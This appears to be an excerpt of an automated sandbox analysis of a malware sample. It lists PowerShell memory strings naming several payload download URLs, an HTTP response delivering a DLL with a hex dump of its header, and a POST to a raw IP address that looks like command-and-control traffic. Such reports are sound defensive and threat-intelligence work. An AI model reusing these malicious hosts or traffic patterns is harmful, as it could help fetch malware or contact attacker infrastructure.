                      Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmpString found in memory: http://givingthanksdaily.com/qlE/VeF/
                      Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmpString found in memory: http://wap.zhonglisc.com/wp-includes/QryCB/
                      Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmpString found in memory: https://fnjbq.com/wp-includes/rlR/
                      Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmpString found in memory: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/
                      Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmpString found in memory: http://zieflix.teleskopstore.com/cgi-bin/Gt3S/
                      Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmpString found in memory: https://somanap.com/wp-admin/P/
                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-cache, must-revalidatePragma: no-cacheContent-Type: application/octet-streamExpires: Wed, 06 Jan 2021 07:57:52 GMTLast-Modified: Wed, 06 Jan 2021 07:57:52 GMTServer: Microsoft-IIS/10.0Set-Cookie: 5ff56d802ad3f=1609919872; expires=Wed, 06-Jan-2021 07:58:52 GMT; Max-Age=60; path=/Content-Disposition: attachment; filename="bLH.dll"Content-Transfer-Encoding: binaryX-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Wed, 06 Jan 2021 07:57:51 GMTContent-Length: 192000Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 95 16 3a bb d1 77 54 e8 d1 77 54 e8 d1 77 54 e8 15 b2 99 e8 dc 77 54 e8 15 b2 9a e8 8e 77 54 e8 15 b2 9b e8 f8 77 54 e8 2d 00 eb e8 d0 77 54 e8 2d 00 e8 e8 d3 77 54 e8 d1 77 55 e8 53 77 54 e8 2d 00 ed e8 c0 77 54 e8 f6 b1 9b e8 d5 77 54 e8 f6 b1 9e e8 d0 77 54 e8 f6 b1 9d e8 d0 77 54 e8 d1 77 c3 e8 d0 77 54 e8 f6 b1 98 e8 d0 77 54 e8 52 69 63 68 d1 77 54 e8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ff a1 f3 5f 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 be 00 00 00 4a 02 00 00 00 00 00 dc 45 00 00 00 10 00 00 00 d0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 03 00 00 04 00 00 00 00 00 00 02 00 00 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 19 01 00 cb 00 00 00 8c 0f 01 00 b4 00 00 00 00 50 01 00 20 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 03 00 a0 0c 00 00 10 d2 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 05 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 19 bd 00 00 00 10 00 00 00 be 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bb 4a 00 00 00 d0 00 00 00 4c 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2d 00 00 00 20 01 00 00 10 00 00 00 0e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 b2 01 00 00 50 01 00 00 b4 01 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 1a 00 00 00 10 03 00 00 1c 00 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@
                      Source: global trafficHTTP traffic detected: GET /wp-admin/4m/ HTTP/1.1Host: petafilm.comConnection: Keep-Alive
                      Source: Joe Sandbox ViewIP Address: 176.53.69.151 176.53.69.151
                      Source: Joe Sandbox ViewIP Address: 5.2.136.90 5.2.136.90
                      Source: Joe Sandbox ViewASN Name: RADORETR RADORETR
                      Source: Joe Sandbox ViewASN Name: RCS-RDS73-75DrStaicoviciRO RCS-RDS73-75DrStaicoviciRO
                      Source: global trafficHTTP traffic detected: POST /6d6v7rdk92yimvk/99aw7ok625toqmkhj7c/ HTTP/1.1DNT: 0Referer: 5.2.136.90/6d6v7rdk92yimvk/99aw7ok625toqmkhj7c/Content-Type: multipart/form-data; boundary=-------------------g8UsT9LwY8y8blrgAXkUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 6100Connection: Keep-AliveCache-Control: no-cache
                      Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                      Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                      Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90